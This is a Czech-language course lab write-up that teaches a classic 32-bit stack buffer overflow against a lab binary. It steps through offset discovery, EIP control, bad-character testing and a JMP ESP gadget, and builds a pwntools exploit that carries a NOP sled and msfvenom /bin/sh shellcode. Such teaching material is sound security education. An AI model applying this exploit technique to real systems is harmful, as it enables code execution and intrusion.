Lab 02 - Buffer Overflow

0. Příprava labu a nástrojů

Nejdříve si připravíme pracovní stanici (např. Kali Linux) na analýzu binárek a nainstalujeme debugger s vylepšením (GEF), který nám umožní vidět "dovnitř" programu.

Nejprve aktualizujeme systém a nainstalujeme GDB, pip a nástroj `checksec` (pro kontrolu ochran binárky).

```
sudo apt update
sudo apt install -y gdb git python3-pip checksec
```

- *(Poznámka: Pokud* `checksec` *balíček nepůjde nainstalovat, je v některých distribucích součástí balíku* `pwntools`*, viz níže).*

Samotné GDB je staré a nepřehledné. GEF je nadstavba (plugin), která nám barevně zobrazí registry, stack a kód.

```
# Stazeni a instalace GEF scriptu
bash -c "$(curl -fsSL https://gef.blah.cat/sh)"

# Ověření: Napište gdb a stiskněte Enter.
# Pokud uvidíte logo GEF a barevný prompt gef , máte hotovo.
# (Vyskočíte příkazem q nebo quit).

# Instalace pipx
sudo apt install -y pipx
pipx ensurepath

# Restart terminalu (aby se nacel path)
# (Zavrete okno terminalu a otevrete nove)

# Instalace Ropperu
pipx install ropper
```

GDB (GNU Debugger)

- Statická analýza (Strings, Ghidra): koukáme se detailně na kód, ale nevidíme, co se bude dít po spuštění programu
- Dynamická analýza (GDB): Při spuštění programu. GDB umožní kód kdykoliv pozastavit, podívat se např. na aktuální hodnoty v registrech, jak je na tom stack, nebo si zkoušet kousek po kousku, co se s programem děje (krokování).

GEF (Plugin pro GDB) Čisté GDB je jako textová konzole z 80. let. GEF z něj udělá mnohem víc. Při každém zastavení programu vám automaticky ukáže:

- Registry: Aktuální hodnoty v procesoru (EAX, EIP…).
- Stack: Obsah zásobníku (kde budeme hledat naše AAAAA).
- Code: Instrukce, která se právě vykonává.

Ovládání GDB/GEF

Příkaz	Zkratka	Popis
`gdb ./program`	-	Zapne debugger a načte program (ale ještě nespustí!).
`run`	`r`	Spustí program. Můžete přidat argumenty: `r < input.txt`.
`quit`	`q`	Ukončí debugger.
`ctrl + c`	-	Násilně přeruší běžící program (vrátí vás na prompt `gef`).

Příkaz	Zkratka	Popis
`break main`	`b main`	Zastaví program hned na začátku funkce main.
`break *0x0804...`	`b *0x...`	Zastaví na konkrétní adrese v paměti (hvězdička je nutná!).
`info break`	`i b`	Vypíše seznam aktivních breakpointů.
`delete 1`	`d 1`	Smaže breakpoint číslo 1.

Příkaz	Zkratka	Popis
`continue`	`c`	"Pokračuj v běhu", dokud nenarazíš na další breakpoint nebo pád.
`next`	`ni` / `n`	Vykoná jednu instrukci, ale přeskočí volání funkcí (Step Over).
`step`	`si` / `s`	Vykoná jednu instrukci a vstoupí do funkcí (Step Into).

Rozdíl NI / SI

- ni (Next): Jako když v knize přeskočíte nudný odstavec. Funkce `printf()` se provede celá najednou a vy pokračujete na dalším řádku vašeho kódu.
- si (Step): Jako když čtete slovo od slova. Debugger skočí *dovnitř* funkce `printf` a vy uvidíte kód knihovny libc. Pro začátek bude v 99 % případů lepší používat `ni`, abyste se neztratili v systémových knihovnách.

Příkaz	Zkratka	Popis
`x/10x $esp`	-	Vypíše 10 hex čísel ze zásobníku (Stack Pointer).
`x/i $eip`	-	Vypíše instrukci, na kterou ukazuje EIP (to, co se stane teď).
`checksec`	-	Vypíše bezpečnostní ochrany (NX, PIE, Canary) přímo v GEF.
`vmmap`	-	Ukáže mapu paměti (kde je stack, kde je heap, kde je kód).

Otestování, že máme vše nachystané

1. Otevřete terminál ve složce s `buffer_overflow`.
2. Spusťte: `gdb -q ./buffer_overflow`
   - *Měli byste vidět `gef` prompt.*
3. Uvnitř GEF napište: `checksec`
   - *Měli byste vidět tabulku ochran (Canary, NX…).*
4. Uvnitř GEF napište: `run`
   - *Program by měl běžet a čekat na vstup.*
5. Zadejte "test" a Enter.
   - *Program by se měl ukončit (Exited normally)*

Exploit - Šablona v pythonu ("exploit.py")

```python
from pwn import *

# Nastaveni terminalu (pokud pouzivate tmux, nechte tak, jinak zakomentujte)
context(terminal=['tmux', 'splitw', '-h'])
context.binary = binary = ELF('./buffer_overflow')

# Spusteni procesu
if args.GDB:
    io = gdb.debug(binary.path)      # python3 exploit.py GDB  -> spusti v debuggeru
else:
    io = process(binary.path)        # python3 exploit.py      -> spusti normalne

# Zatim prazdny payload
payload = b""

# Odeslani
io.sendline(payload)
io.interactive()
```

1. Analýza architektury a ochran (Reconnaissance)

Začneme příkazem `checksec` a `info file`. Toto je "ohledání samplu".

```
gdb ./buffer_overflow
gef   checksec
gef   info file
```

Výstup z GEF

```
# CHECKSEC

Canary   :                          (Žádná ochrana proti přepsání stack cookie)
NX       :                          (Non-Executable stack je vypnutý -> můžeme spouštět kód
PIE      :                          (Pozice v paměti jsou fixní, nemění se při každém spuště
Fortify  :                          (Ochrana na úrovni kompilátoru, kompilátor nahradí nebez
RelRO    : Partial          (Relocation Read-Only; ochrana tabulky GOT (Global Offset Table)

# INFO FILE
file type elf32-i386.
    Entry point: 0x80483e0
    0x08048154 - 0x08048167 is .interp
    0x08048168 - 0x08048188 is .note.ABI-tag
    0x08048188 - 0x080481ac is .note.gnu.build-id
    0x080481ac - 0x080481cc is .gnu.hash
    0x080481cc - 0x0804826c is .dynsym
    0x0804826c - 0x080482d7 is .dynstr
    0x080482d8 - 0x080482ec is .gnu.version
    0x080482ec - 0x0804830c is .gnu.version_r
    0x0804830c - 0x08048324 is .rel.dyn
    0x08048324 - 0x0804834c is .rel.plt
    0x0804834c - 0x0804836f is .init
    0x08048370 - 0x080483d0 is .plt
    0x080483d0 - 0x080483d8 is .plt.got
    0x080483e0 - 0x080486b2 is .text
    0x080486b4 - 0x080486c8 is .fini
    0x080486c8 - 0x08048727 is .rodata
    0x08048728 - 0x0804877c is .eh_frame_hdr
    0x0804877c - 0x080488d0 is .eh_frame
    0x08049f04 - 0x08049f08 is .init_array
    0x08049f08 - 0x08049f0c is .fini_array
    0x08049f0c - 0x08049ff4 is .dynamic
    0x08049ff4 - 0x0804a000 is .got
    0x0804a000 - 0x0804a020 is .got.plt
    0x0804a020 - 0x0804a028 is .data
    0x0804a028 - 0x0804a02c is .bss
```

- Vysvětlení:

- ELF32-i386: Pracujeme s 32-bitovými adresami. Každá adresa má 4 bajty (např. `0x080483e0`). To je klíčové.
- Všechny ochrany jsou (červené):
  * NX (No-Execute) OFF: Toto je pro nás nejdůležitější. Znamená to, že když vložíme náš shellcode na Zásobník (Stack), procesor ho bez řečí vykoná. V moderních systémech je toto zakázáno.
  * No Canary: Můžeme přepisovat stack bez toho, abychom museli obcházet kontrolní "sušenku" (náhodnou hodnotu).
  * No PIE: Adresy funkcí a instrukcí (gadgetů) budou vždy stejné. Nemusíme řešit ASLR bypass.

2. Hledání Offsetu (Crash programu)

Použijeme `pattern create 350` a program spadne (SIGSEGV kód na konci).

```
gef  pattern create 350
[+] Generating a pattern of 350 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaa
[+] Saved as '$_gef0'
```

```
gef  run
Starting program: /home/gallusp/Work/Malware/1-Buffer_Overflow/buffer_overflow
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
### EAX Course Exercise Recap: Buffer Overflow ###
Enter string for Buffer Overflow:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaa
```

```
$eax   : 0xffffc970  →  "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]"
$ebx   : 0x63616170 ("paac"?)
$ecx   : 0xffffcbf0  →  "laadma\n"
$edx   : 0xffffcac8  →  "laadma\n"
$esp   : 0xffffca80  →  "saactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfa[...]"
$ebp   : 0x63616171 ("qaac"?)
[ Legend: Modified register | Code | Heap | Stack | String ]
                                                registers
$eax   : 0xffffc970  →  "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]"
$ebx   : 0x63616170 ("paac"?)
$ecx   : 0xffffcbf0  →  "laadma\n"
$edx   : 0xffffcac8  →  "laadma\n"
$esp   : 0xffffca80  →  "saactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfa[...]"
$ebp   : 0x63616171 ("qaac"?)
$esi   : 0x08048650  →   push ebp
$edi   : 0xf7ffcb80  →  0x00000000
$eip   : 0x63616172 ("raac"?)
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63
```

```
                                                    stack
0xffffca80 +0x0000: "saactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfa[...]"    ← $esp
0xffffca84 +0x0004: "taacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadga[...]"
0xffffca88 +0x0008: "uaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadha[...]"
0xffffca8c +0x000c: "vaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadia[...]"
0xffffca90 +0x0010: "waacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadja[...]"
0xffffca94 +0x0014: "xaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadka[...]"
0xffffca98 +0x0018: "yaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadla[...]"
0xffffca9c +0x001c: "zaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadma[...]"
                                                  code:x86:32
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x63616172
                                                   threads
[#0] Id 1, Name: "buffer_overflow", stopped 0x63616172 in ?? (), reason: SIGSEGV
```

- **Vysvětlení:**
  - Co se stalo: Vytvořili jsme unikátní cyklický vzor (aaaabaaa...). Program očekával krátký vstup, ale my jsme tam nacpali 350 znaků
  - Přetečení: Vstup přepsal lokální proměnné, uložil `EBP` a nakonec i Návratovou adresu (Return Address)
  - Registry:
    - $EIP (Extended Instruction Pointer) - Toto je "kapitán lodi". Říká procesoru, jakou instrukci má vykonat teď
    - Hodnota `0x63616172` odpovídá ASCII textu `raac`.
    - To znamená, že procesor se pokusil skočit na adresu `0x63616172`. Taková paměť ale našemu programu nepatří -> SEGFAULT

Výpočet Offsetu

```
gef  pattern offset $eip
[+] Searching for '72616163'/'63616172' with period=4
[+] Found at offset 268 (little-endian search) likely
```

Příkaz `pattern offset $eip` (nebo `pattern search raac`) nám řekl:

> Found at offset 268

Mezi začátkem našeho vstupu a místem, kde je uložena návratová adresa (EIP), je přesně 268 bajtů.

- Bajty 0-267: Smetí (padding).
- Bajty 268-271: Tady přepíšeme EIP.

Aktualizace Exploitu

```python
from pwn import *

# Nastaveni terminalu (pokud pouzivate tmux, nechte tak, jinak zakomentujte)
context(terminal=['tmux', 'splitw', '-h'])
```

```
context.binary = binary = ELF('./buffer_overflow')

# Spusteni procesu
if args.GDB:
    io = gdb.debug(binary.path)      # python3 exploit.py GDB  -> spusti v debuggeru
else:
    io = process(binary.path)        # python3 exploit.py      -> spusti normalne

# 1. KROK - Offset -> zjistili jsme, ze program pada po 268 znacich
offset = b"A" * 268

payload = offset

# Odeslani
io.sendline(payload)
io.interactive()
```

3. Kontrola nad EIP (PoC)

Musíme teď ověřit, že offset 268 je správný (že ovládáme EIP). Pošleme teda BBBB a rozšíříme template (exploit skript) v pythonu.

Python Payload

```
offset = b"A" * 268

eip = b"BBBB"
# Očekáváme pád na adrese 0x42424242 (ASCII => BBBB)

payload = offset + eip
io.sendline(payload)
```

(Poznámka: V Pythonu 3 je nutné posílat byty, proto to `b`*)*

Co se stane v debuggeru? Když spustíme program s tímto vstupem, `EIP` bude mít hodnotu `0x42424242`. Pokud tam uvidíme `0x42424242`, máme všechno správně. Právě jsme převzali kontrolu nad flow programu.

Aktualizace Exploitu

```
from pwn import *

# Nastaveni terminalu (pokud pouzivate tmux, nechte tak, jinak zakomentujte)
context(terminal=['tmux', 'splitw', '-h'])
context.binary = binary = ELF('./buffer_overflow')

# Spusteni procesu
```

```
if args.GDB:
    io = gdb.debug(binary.path)      # python3 exploit.py GDB  -> spusti v debuggeru
else:
    io = process(binary.path)        # python3 exploit.py      -> spusti normalne

# 1. KROK - Offset -> zjistili jsme, ze program pada po 268 znacich
offset = b"A" * 268

# 2. KROK - Prepsani EIP -> ocekavame pad na adrese 0x42424242 (BBBB)
eip = b"BBBB"

payload = offset + eip

# Odeslani
io.sendline(payload)
io.interactive()
```

3. Bad Characters

Než vygenerujeme shellcode, musíme zjistit tzv. Bad Characters. Jsou to znaky, které program ukončí nebo změní (např. `0x00` - null byte často ukončuje string). Pokud zapomeneme na jediný Bad Char, exploit selže a my nebudeme vědět proč.

Chceme teď tedy zjistit, které znaky (bajty) aplikace "nemá ráda". Proč? Funkce jako `strcpy` ukončí kopírování, když narazí na `0x00` (NULL). Funkce jako `gets` nebo `scanf` mohou ukončit čtení u `0x0A` (Enter/Nový řádek). Pokud náš shellcode náhodou obsahuje tyto znaky, do paměti se nedostane celý a program spadne.

Budeme tedy teď exploit upravovat tak, aby kód za EIP poslal všechny znaky od `\x01` do `\xff`. Spustíme ho v GDB a zkontrolujeme stack…

- Vytvoříme exploit, který místo shellcodu pošle tzv. **bytearray** – posloupnost všech možných znaků od `0x01` do `0xFF`. *Poznámka: `0x00` vynecháváme automaticky, to je bad char v 99 % případů (ukončuje stringy).*

Úprava exploit pythonu:

```
# ...kod pred je stejny (offset, eip...)

# TESTOVACI POLE (Vsechny znaky 0x01 - 0xFF)
# Python trik: vytvori string b"\x01\x02...\xff"

bad_chars_test = bytes(range(1, 256))

payload = offset + eip + bad_chars_test
```

```
io.sendline(payload)
io.interactive()
```

Spustíme skript: `python3 exploit.py`

Otevře se nové okno s GDB/GEF. Program spadne (SIGSEGV), protože se pokusil skočit na `BBBB` (`0x42424242`). My se ale chceme podívat, co je ZA tímto EIP. Tam by mělo ležet naše testovací pole.

Když teda program spadne, podíváme se na stack:

```
gef  x/300b $esp
```

Te´d budeme hledat, co vidíme v paměti jinak:

Scénář A: Všechno je OK

- uvidíme krásnou a nepřerušenou řadu:

```
0xffffca80:  0x01  0x02  0x03  0x04  0x05  0x06 ...
...
0xffffcb70:  ...   0xfd  0xfe  0xff  0x??  0x??
```

Pokud uvidíme sekvenci `01 02 03 04 ... FF` neporušenou, znamená to, že jediný bad char (špatný znak) je `\x00`. Pokud by se sekvence utnula u `0x0A`, bude jasné, že `\x0A` (Enter) je taky bad char

- to je vlastně náš cílový stav -> až nebudou nastávat scénáře B / C a nastane jen A, tak víme, že poslední hledaný bad char je 0x00 a máme je všechny úspěšně nalezeny -> pak budeme vědět, kterým se vyvarovat v našem exploitu (ať to na cílovém serveru projde)

Scénář B: Useknuté pole

- uvidíme řadu, která najednou skončí nebo se změní na nuly/náhodná data:

```
0xffffca80:  0x01  0x02  0x03  ...  0x08  0x09  0x00  0x00
0xffffca88:  0x00  0x00  ... (zbytek chybí nebo je divný)
```

Příklad - uvidíme 0x01 až 0x09, potom to zmizí a budou dál jen 0x00…

Který z nich je teda bad char?

- ten znak, který následuje po devítce (po posledním správném, resp. první, který tam chybí a rozbije pravidelnost), v tomto případě 0x0A (které by následovalo po 0x09)
  - označíme teda 0x0A jako bad char v python scriptu a pokračujeme znovu s hledáním…
    *
```
# Vynechame 0x00 a nově i 0x0A
bad_chars_test = b""
for i in range(1, 256):
```

```
            if i not in [0x00, 0x0A]:  # <--- PRIDANO
                bad_chars_test += bytes([i])
```

- pozn: 0x0A = Line Feed (ENTER) - funkce načítání vstupu si myslela, že jsme stiskli Enter, a tak přestala číst data (častý bad char)

Scénář C: Zkomolený znak

- uvidíme hezky pravidelnou řadu, ale jeden znak je jiný, než by měl být…. a pak řada zase v pohdoě pokračuje

```
... 0x20  0x21  0x00  0x23  0x24 ...
```

Na tomto příkladu je místo očekávaného 0x22 třeba char 0x00, dál ale zase řada pokračuje v pohodě…

Který z nich je teda bad char?

- ten znak, který by tam zase měl být (podobně jako u scénáře B)
  - v tomto případě by byl teda bad char 0x22 -> zapsali bychom ho v python scriptu a pokračujeme znovu s hledáním, dokud to nebude čisté…
  - ```
    # Vynechame 0x00, 0x0A a nove i 0x22
    bad_chars_test = b""
    for i in range(1, 256):
        if i not in [0x00, 0x0A, 0x22]:  # <--- PRIDANO
            bad_chars_test += bytes([i])
    ```
- pozn: 0x22 = ” ” (UVOZOVKY)

4. Hledání “JMP ESP” (The Gadget)

Tohle je asi nejtěžší část na pochopení. Proč nás zajímá JMP ESP?

Teorie

Máme kontrolu nad EIP. Můžeme procesoru říct “skoč kamkoliv”. Ale kam? Náš shellcode (škodlivý kód) bude ležet na stacku hned za EIP (protože payload pokračuje). Registr ESP (Stack Pointer) v momentě pádu ukazuje přesně na to místo hned za EIP.

Takže potřebujeme najít instrukci v samotném programu (nebo knihovně), která dělá toto: `jmp esp` (nebo `call esp`)

Když nastavíme EIP na adresu této instrukce:

1. Procesor skočí na instrukci `jmp esp`.
2. Instrukce `jmp esp` řekne: “Běž tam, kam ukazuje ESP”.
3. ESP ukazuje na náš shellcode.
4. BOOM! Shellcode běží.

Ještě z jiného pohledu…zjednodušený postup na to, co se snažíme udělat:
    ```

1. Vyplnit přidělený prostor bufferu řadou znaků A
2. Pomocí Debuggeru najít paměťovou adresu JMP ESP, abychom mohli zapsat do EIP tuto adresu a říct programu, aby se přesunul do registru ESP – namísto do zamýšlené lokality. Pamatujte, že EIP vždy říká programu, kam má jít dál.
3. Hned po EAX, EBX a EIP bychom měli přepsat buffer až po vrchol zásobníku do registru ESP naším shellcodem. EIP řekne programu, aby přešel k instrukcím v ESP. ESP obsahuje náš shellcode a je spuštěn programem.

Jak získat adresu JMP ESP

0. Co by se dalo intuitivně udělat (ŠPATNÝ POSTUP):

```
gef   x/c $esp        # ukaž mi jeden znak na adrese esp
0xffffca80: 0x73

gef   x/255b $esp     # ukaž mi 255 bajtů od adresy esp dál
0xffffca80: 0x73 0x61 0x61 0x63 ... (ASCII "saac" a zbytek patternu)


# x = Examine - prozkoumá paměť a řekne nám, co je tam uloženo
# / = Oddělovač
# 255 = Počet - kolik jednotek chci vidět za sebou
# b = Byte - jaké jednotky chci zobrazit
```

Úvaha je: *"Aha! Můj shellcode (nebo pattern) začíná na adrese `0xffffca80`. Takže když přepíšu EIP na `0xffffca80`, program skočí tam a vykoná to."*

Proč je to špatně

- Nestabilita Stacku: Adresy začínající na `0xffff...` (Stack) jsou extrémně nestabilní. Stačí, abychom spustili program s jinou délkou cesty k souboru (např. `/tmp/vuln` vs `/home/user/vuln`) nebo s jinými proměnnými prostředí (ENV), a celá adresa se posune o pár bajtů vedle. Exploit pak přestane fungovat.
- Hardcoding: Pokud bych použil `0xffffca80`, můj exploit bude fungovat jen na MÉM počítači v MÉM debuggeru. Na cílovém serveru to selže.

Správné řešení (JMP ESP)

My nechceme skákat na *konkrétní adresu zásobníku*. My chceme procesoru říct: "Skoč tam, kam zrovna ukazuje ukazatel stacku (ESP), ať už je to kdekoliv."

K tomu slouží instrukce `jmp esp` (strojový kód `\xff\xe4`), která se nachází uvnitř samotného programu (v sekci `.text`). Adresy programu (např. `0x0804xxxx`) se nemění (pokud je vypnuté PIE, což zde je)

V nástroji GEF (nebo pomocí `ropper` / `msfelfscan`) hledáme opkódy pro `jmp esp` (`FF E4`).

1. možnost - ASMSEARCH (v GEF):

```
gef  asmsearch "jmp esp"      ## Assembly mnemonic (jak to píše člověk)
# nebo
gef  asmsearch "\xff\xe4"     ## Machine Code = Opcode (co je v paměti PC)
```

Výstup:

```
[+] Searching for 'jmp esp'
0x0804???? : jmp esp
```

2. možnost - ROPPER (mimo GEF, v terminálu):

```
ropper --file buffer_overflow --search "jmp esp"
```

Výstup:

```
[INFO] File: buffer_overflow
0x08048503: jmp esp;
0x08048503: jmp esp; nop; pop ebp; ret;
```

- Na adrese paměti `0x08048503` se nachází instrukce `jmp esp` (strojový kód `FF E4`)
- Proč ale dva řádky?
  - ropper našel gadget (jmp esp) a ukazuje i instrukce, které následují za ním (`nop`, `pop ebp`…). Nás ale zajímá jen ten skok. Jakmile procesor vykoná `jmp esp`, odskočí pryč na stack a zbytek řádku ho nezajímá.
- Nám v tuto chvíli stačí adresa paměti `0x08048503`

3. možnost - METASPLOIT (mimo GEF, v terminálu)

```
msfelfscan -j esp buffer_overflow
```

4. možnost - OBJDUMP (mimo GEF, v terminálu)

```
objdump -D buffer_overflow | grep "ff e4"
```

Aktualizace Exploitu

```
from pwn import *

# Nastaveni terminalu (pokud pouzivate tmux, nechte tak, jinak zakomentujte)
context(terminal=['tmux', 'splitw', '-h'])
context.binary = binary = ELF('./buffer_overflow')

# Spusteni procesu
if args.GDB:
    io = gdb.debug(binary.path)      # python3 exploit.py GDB  -> spusti v debuggeru
else:
    io = process(binary.path)        # python3 exploit.py      -> spusti normalne
```

```
# 1. KROK - Offset -> zjistili jsme, ze program pada po 268 znacich
offset = b"A" * 268

# 2. KROK - Prepsani EIP -> ocekavame pad na adrese 0x42424242 (BBBB)
eip = b"BBBB"

# 3. KROK - Bad Chars ->

# 4. KROK - JMP ESP (Gadget) -> nahradíme BBB skutečnou adresou, kam skocit dal... pwntools
# 0x08048503 = Adresa, kterou jsme nasli pro jmp esp
jmp_esp = p32(0x08048503)

payload = offset + jmp_esp
# uz v payloadu nepouzivame eip -> temi BBBB jsme si to jen vyplnili, ted uz zname adresu j

# Odeslani
io.sendline(payload)
io.interactive()
```

5. Adresa ve formátu Little Endianness

Teorie

OK, našli jsme úspěšlě adresu gadgetu JMP ESP a te'můžeme do programu vložit libovolný shell code. Abychom se shellcode mohli ale pracovat, potřebujeme znát správný formát jmp esp adresy pro procesor.

V architektuře x86 (Intel/AMD) se data ukládají ve formátu Little Endian. To znamená, že bajty jdou "pozpátku" (od nejméně významného po nejvýznamnější). Pro člověka je to matoucí, ale pro procesor je to přirozené.

Formát odpovědi: `FLAG{\xXX\xXX\xXX\xXX}`

Řešení

Naše adresa z Ropperu: `0x08048503`

Rozdělení na bajty (po dvou znacích):

1. `08` (High byte - nejvyšší hodnota)
2. `04`
3. `85`
4. `03` (Low byte - nejnižší hodnota)

- Little Endian znamená, že "to nejmenší jde první". Prostě pořadí bajtů otočíme.
- Výsledek: `03 85 04 08`

Když v python exploitu použijeme p32(), tak little endianness řešit nemusíme, ale je důležité to chápat…

6. NOP Instrukce (Opcode)

Co je NOP a proč ho potřebujeme?

NOP = No Operation

- Instrukce: `nop`
- Hex kód: `0x90`
- Co dělá CPU: Vůbec nic. Procesor tuto instrukci přečte, "odpočine si" (spotřebuje jeden cyklus) a posune se na další instrukci v paměti (`EIP++`).

V malwaru a exploitech se NOP používá k vytvoření tzv. NOP Sled (NOP "skluzavky")

- Při explotech (hlavně, když skáčeme na přibližnou adresu stacku) se nemusíme trefit přesně na první bajt našeho shellcodu. Pokud skočíme doprostřed instrukce, program spadne (Illegal Instruction)
- Ať se to nestane, tak před náš shellcode vložíme hromadu instrukcí `0x90` (např. 100x NOP)

1. Procesor skočí *kamkoliv* do této oblasti NOPů.
2. Provede `nop` -> nic se nestane, jde dál.
3. Provede další `nop` -> jde dál.
4. Takto "sklouzne" až na konec, kde čeká náš skutečný shellcode.

Můžeme si to představit i jako přistávací dráhu pro letadlo…

- Bez NOPů: Musíte přistát vrtulníkem přesně na bod X (začátek shellcodu). To není sice nemožné, ale těžké a ne vždycky se to povede
- S NOP Sledem: Vyrobíme vlastně dlouhou runway. Můžeme přistát kdekoliv na začátku nebo uprostřed dráhy a letadlo (CPU) dojede až na konec k terminálu (Shellcode)

NOPem teda vlastně zvyšujeme spolehlivost exploitu. I kdyby se paměť trochu posunula, `jmp esp` nás hodí do NOPů a my bezpečně dojedeme k shellcodu.

Aktualizace Exploitu

```
from pwn import *

# Nastaveni terminalu (pokud pouzivate tmux, nechte tak, jinak zakomentujte)
context(terminal=['tmux', 'splitw', '-h'])
context.binary = binary = ELF('./buffer_overflow')

# Spusteni procesu
if args.GDB:
    io = gdb.debug(binary.path)      # python3 exploit.py GDB  -> spusti v debuggeru
```

```
else:
    io = process(binary.path)       # python3 exploit.py      -> spusti normalne

# 1. KROK - Offset -> zjistili jsme, ze program pada po 268 znacich
offset = b"A" * 268

# 2. KROK - Prepsani EIP -> ocekavame pad na adrese 0x42424242 (BBBB)
#eip = b"BBBB"

# 3. KROK - Bad Chars -> ty uz ted nevyuzijeme, misto nich prijde ostry exploit v poslednim

# 4. KROK - JMP ESP (Gadget) -> nahradíme BBB skutečnou adresou, kam skocit dal... pwntools
# 0x08048503 = Adresa, kterou jsme nasli pro jmp esp
jmp_esp = p32(0x08048503)

# 5. KROK - NOP Sled (Skluzavka) -> 32x instrukce "nic nedelej" - pro jistotu
nop = b"\x90" * 32

payload = offset + jmp_esp + nop
# uz v payloadu nepouzivame eip -> temi BBBB jsme si to jen vyplnili, ted uz zname adresu j

# Odeslani
io.sendline(payload)
io.interactive()
```

7. Shellcode

Vše máme připraveno, stačí už pouze vygenerovat shellcode např. v msfvenom
(bez bad chars !)

Příprava shellcodu (Terminál):

```
msfvenom -p linux/x86/exec CMD=/bin/sh -b "\x00" -f python

# -p linux/x86/exec : Chceme spustit prikaz na Linuxu (x86)
# CMD=/bin/sh       : Ten prikaz je spusteni shellu
# -b "\x00"         : !!! TOTO JE ONO - Seznam Bad Chars, ktere se nesmi pouzit !!!
# -f python         : Vyplivni to rovnou jako Python promennou
```

Aktualizace Exploitu - Finále

```
from pwn import *

# Nastaveni terminalu (pokud pouzivate tmux, nechte tak, jinak zakomentujte)
context(terminal=['tmux', 'splitw', '-h'])
context.binary = binary = ELF('./buffer_overflow')
```

```python
# Spusteni procesu
if args.GDB:
    io = gdb.debug(binary.path)      # python3 exploit.py GDB  -> spusti v debuggeru
else:
    io = process(binary.path)        # python3 exploit.py      -> spusti normalne

# 1. KROK - Offset -> zjistili jsme, ze program pada po 268 znacich
offset = b"A" * 268

# 2. KROK - Prepsani EIP -> ocekavame pad na adrese 0x42424242 (BBBB)
#eip = b"BBBB"

# 3. KROK - Bad Chars -> ty uz ted nevyuzijeme, misto nich prijde ostry exploit v poslednim

# 4. KROK - JMP ESP (Gadget) -> nahradíme BBB skutečnou adresou, kam skocit dal... pwntools
# 0x08048503 = Adresa, kterou jsme nasli pro jmp esp
jmp_esp = p32(0x08048503)

# 5. KROK - NOP Sled (Skluzavka) -> 32x instrukce "nic nedelej" - pro jistotu
nop = b"\x90" * 32

# 6. KROK - SHELLCODE -> vygenerovano napr. pomoci msfvenom
# nahradime ty "buf" z kroku 3 za skutecny shellcode
buf =  b""
buf += b"\xdb\xd3\xd9\x74\x24\xf4\x5a\x33\xc9\xb1\x0b\xbe\x22"
buf += b"\x05\x8b\x17\x31\x72\x17\x83\xc2\x04\x03\x9c\x09\x71"
# ... (zbytek shellcodu)


payload = offset + jmp_esp + nop + buf
# uz v payloadu nepouzivame eip -> temi BBBB jsme si to jen vyplnili, ted uz zname adresu j

# Odeslani
io.sendline(payload)
io.interactive()
```